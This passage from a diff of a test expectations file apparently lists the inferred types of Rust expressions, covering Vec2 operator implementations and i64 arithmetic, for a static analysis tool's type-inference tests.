| i64 | +| main.rs:1362:20:1362:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1362:29:1362:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1362:29:1362:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1363:20:1363:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1363:20:1363:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1363:20:1363:33 | ... / ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1363:29:1363:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1363:29:1363:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1369:23:1369:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1369:23:1369:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1369:34:1369:36 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1370:13:1370:16 | self | | file://:0:0:0:0 | & | +| main.rs:1370:13:1370:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1370:13:1370:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1370:13:1370:27 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1370:23:1370:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1370:23:1370:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1371:13:1371:16 | self | | file://:0:0:0:0 | & | +| main.rs:1371:13:1371:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1371:13:1371:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1371:13:1371:27 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1371:23:1371:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1371:23:1371:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1377:16:1377:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1377:22:1377:24 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1377:41:1382:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1378:13:1381:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1379:20:1379:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1379:20:1379:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1379:20:1379:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1379:29:1379:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1379:29:1379:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1380:20:1380:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1380:20:1380:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1380:20:1380:33 | ... % ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1380:29:1380:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1380:29:1380:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1386:23:1386:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1386:23:1386:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1386:34:1386:36 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1387:13:1387:16 | self | | file://:0:0:0:0 | & | +| main.rs:1387:13:1387:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1387:13:1387:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1387:13:1387:27 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1387:23:1387:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1387:23:1387:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1388:13:1388:16 | self | | file://:0:0:0:0 | & | +| main.rs:1388:13:1388:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1388:13:1388:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1388:13:1388:27 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1388:23:1388:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1388:23:1388:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1394:19:1394:22 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1394:25:1394:27 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1394:44:1399:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1395:13:1398:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1396:20:1396:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1396:20:1396:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1396:20:1396:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1396:29:1396:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1396:29:1396:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1397:20:1397:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1397:20:1397:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1397:20:1397:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1397:29:1397:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1397:29:1397:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1403:26:1403:34 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1403:26:1403:34 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1403:37:1403:39 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1404:13:1404:16 | self | | file://:0:0:0:0 | & | +| main.rs:1404:13:1404:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1404:13:1404:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1404:13:1404:27 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1404:23:1404:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1404:23:1404:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1405:13:1405:16 | self | | file://:0:0:0:0 | & | +| main.rs:1405:13:1405:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1405:13:1405:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1405:13:1405:27 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1405:23:1405:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1405:23:1405:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1411:18:1411:21 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1411:24:1411:26 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1411:43:1416:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1412:13:1415:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1413:20:1413:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1413:20:1413:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1413:20:1413:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1413:29:1413:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1413:29:1413:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1414:20:1414:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1414:20:1414:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1414:20:1414:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1414:29:1414:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1414:29:1414:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1420:25:1420:33 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1420:25:1420:33 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1420:36:1420:38 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1421:13:1421:16 | self | | file://:0:0:0:0 | & | +| main.rs:1421:13:1421:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1421:13:1421:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1421:13:1421:27 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1421:23:1421:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1421:23:1421:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1422:13:1422:16 | self | | file://:0:0:0:0 | & | +| main.rs:1422:13:1422:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1422:13:1422:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1422:13:1422:27 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1422:23:1422:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1422:23:1422:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1428:19:1428:22 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1428:25:1428:27 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1428:44:1433:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1429:13:1432:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1430:20:1430:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1430:20:1430:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1430:20:1430:33 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1430:29:1430:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1430:29:1430:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1431:20:1431:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1431:20:1431:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1431:20:1431:33 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1431:29:1431:31 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1431:29:1431:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1437:26:1437:34 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1437:26:1437:34 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1437:37:1437:39 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1438:13:1438:16 | self | | file://:0:0:0:0 | & | +| main.rs:1438:13:1438:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1438:13:1438:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1438:13:1438:27 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1438:23:1438:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1438:23:1438:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1439:13:1439:16 | self | | file://:0:0:0:0 | & | +| main.rs:1439:13:1439:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1439:13:1439:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1439:13:1439:27 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1439:23:1439:25 | rhs | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1439:23:1439:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1445:16:1445:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1445:22:1445:24 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1445:40:1450:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1446:13:1449:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1447:20:1447:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1447:20:1447:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1447:20:1447:32 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1447:30:1447:32 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1448:20:1448:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1448:20:1448:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1448:20:1448:32 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1448:30:1448:32 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1454:23:1454:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1454:23:1454:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1454:34:1454:36 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1455:13:1455:16 | self | | file://:0:0:0:0 | & | +| main.rs:1455:13:1455:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1455:13:1455:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1455:13:1455:26 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1455:24:1455:26 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1456:13:1456:16 | self | | file://:0:0:0:0 | & | +| main.rs:1456:13:1456:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1456:13:1456:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1456:13:1456:26 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1456:24:1456:26 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1462:16:1462:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1462:22:1462:24 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1462:40:1467:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1463:13:1466:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1464:20:1464:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1464:20:1464:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1464:20:1464:32 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1464:30:1464:32 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1465:20:1465:23 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1465:20:1465:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1465:20:1465:32 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1465:30:1465:32 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1471:23:1471:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1471:23:1471:31 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1471:34:1471:36 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1472:13:1472:16 | self | | file://:0:0:0:0 | & | +| main.rs:1472:13:1472:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1472:13:1472:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1472:13:1472:26 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1472:24:1472:26 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1473:13:1473:16 | self | | file://:0:0:0:0 | & | +| main.rs:1473:13:1473:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1473:13:1473:18 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1473:13:1473:26 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1473:24:1473:26 | rhs | | {EXTERNAL LOCATION} | u32 | +| main.rs:1479:16:1479:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1479:30:1484:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1480:13:1483:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1481:20:1481:26 | - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1481:21:1481:24 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1481:21:1481:26 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1482:20:1482:26 | - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1482:21:1482:24 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1482:21:1482:26 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1489:16:1489:19 | SelfParam | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1489:30:1494:9 | { ... } | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1490:13:1493:13 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1491:20:1491:26 | ! ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1491:21:1491:24 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1491:21:1491:26 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1492:20:1492:26 | ! ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1492:21:1492:24 | self | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1492:21:1492:26 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1498:15:1498:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1498:15:1498:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1498:22:1498:26 | other | | file://:0:0:0:0 | & | +| main.rs:1498:22:1498:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1498:44:1500:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:1499:13:1499:16 | self | | file://:0:0:0:0 | & | +| main.rs:1499:13:1499:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1499:13:1499:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1499:13:1499:29 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1499:13:1499:50 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1499:23:1499:27 | other | | file://:0:0:0:0 | & | +| main.rs:1499:23:1499:27 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1499:23:1499:29 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1499:34:1499:37 | self | | file://:0:0:0:0 | & | +| main.rs:1499:34:1499:37 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1499:34:1499:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1499:34:1499:50 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1499:44:1499:48 | other | | file://:0:0:0:0 | & | +| main.rs:1499:44:1499:48 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1499:44:1499:50 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1502:15:1502:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1502:15:1502:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | | main.rs:1502:22:1502:26 | other | | file://:0:0:0:0 | & | -| main.rs:1502:22:1502:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:22:1502:28 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1502:33:1502:36 | self | | file://:0:0:0:0 | & | -| main.rs:1502:33:1502:36 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:33:1502:38 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1502:33:1502:48 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1502:42:1502:46 | other | | file://:0:0:0:0 | & | -| main.rs:1502:42:1502:46 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:42:1502:48 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1505:15:1505:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1505:15:1505:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1505:22:1505:26 | other | | file://:0:0:0:0 | & | -| main.rs:1505:22:1505:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1505:44:1507:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1506:13:1506:16 | self | | file://:0:0:0:0 | & | -| main.rs:1506:13:1506:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:13:1506:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1506:13:1506:29 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1506:13:1506:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1506:23:1506:27 | other | | file://:0:0:0:0 | & | -| main.rs:1506:23:1506:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:23:1506:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1506:34:1506:37 | self | | file://:0:0:0:0 | & | -| main.rs:1506:34:1506:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:34:1506:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1506:34:1506:50 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1506:44:1506:48 | other | | file://:0:0:0:0 | & | -| main.rs:1506:44:1506:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:44:1506:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1513:13:1513:18 | i64_eq | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1513:22:1513:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1513:23:1513:26 | 1i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1513:23:1513:34 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1513:31:1513:34 | 2i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1514:13:1514:18 | i64_ne | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1514:22:1514:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1514:23:1514:26 | 3i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1514:23:1514:34 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1514:31:1514:34 | 4i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1515:13:1515:18 | i64_lt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1515:22:1515:34 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1515:23:1515:26 | 5i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1515:23:1515:33 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1515:30:1515:33 | 6i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1516:13:1516:18 | i64_le | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1516:22:1516:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1516:23:1516:26 | 7i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1516:23:1516:34 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1516:31:1516:34 | 8i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1517:13:1517:18 | i64_gt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1517:22:1517:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1517:23:1517:26 | 9i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1517:23:1517:34 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1517:30:1517:34 | 10i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1518:13:1518:18 | i64_ge | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1518:22:1518:37 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1518:23:1518:27 | 11i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1518:23:1518:36 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1518:32:1518:36 | 12i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:13:1521:19 | i64_add | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:23:1521:27 | 13i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:23:1521:35 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:31:1521:35 | 14i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:13:1522:19 | i64_sub | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:23:1522:27 | 15i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:23:1522:35 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:31:1522:35 | 16i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:13:1523:19 | i64_mul | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:23:1523:27 | 17i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:23:1523:35 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:31:1523:35 | 18i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:13:1524:19 | i64_div | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:23:1524:27 | 19i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:23:1524:35 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:31:1524:35 | 20i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:13:1525:19 | i64_rem | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:23:1525:27 | 21i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:23:1525:35 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:31:1525:35 | 22i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1528:13:1528:30 | mut i64_add_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1528:34:1528:38 | 23i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1529:9:1529:22 | i64_add_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1529:9:1529:31 | ... += ... | | file://:0:0:0:0 | () | -| main.rs:1529:27:1529:31 | 24i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1531:13:1531:30 | mut i64_sub_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1531:34:1531:38 | 25i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1532:9:1532:22 | i64_sub_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1532:9:1532:31 | ... -= ... | | file://:0:0:0:0 | () | -| main.rs:1532:27:1532:31 | 26i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1534:13:1534:30 | mut i64_mul_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1534:34:1534:38 | 27i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1535:9:1535:22 | i64_mul_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1535:9:1535:31 | ... *= ... | | file://:0:0:0:0 | () | -| main.rs:1535:27:1535:31 | 28i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1537:13:1537:30 | mut i64_div_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1537:34:1537:38 | 29i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1538:9:1538:22 | i64_div_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1538:9:1538:31 | ... /= ... | | file://:0:0:0:0 | () | -| main.rs:1538:27:1538:31 | 30i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1540:13:1540:30 | mut i64_rem_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1540:34:1540:38 | 31i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| 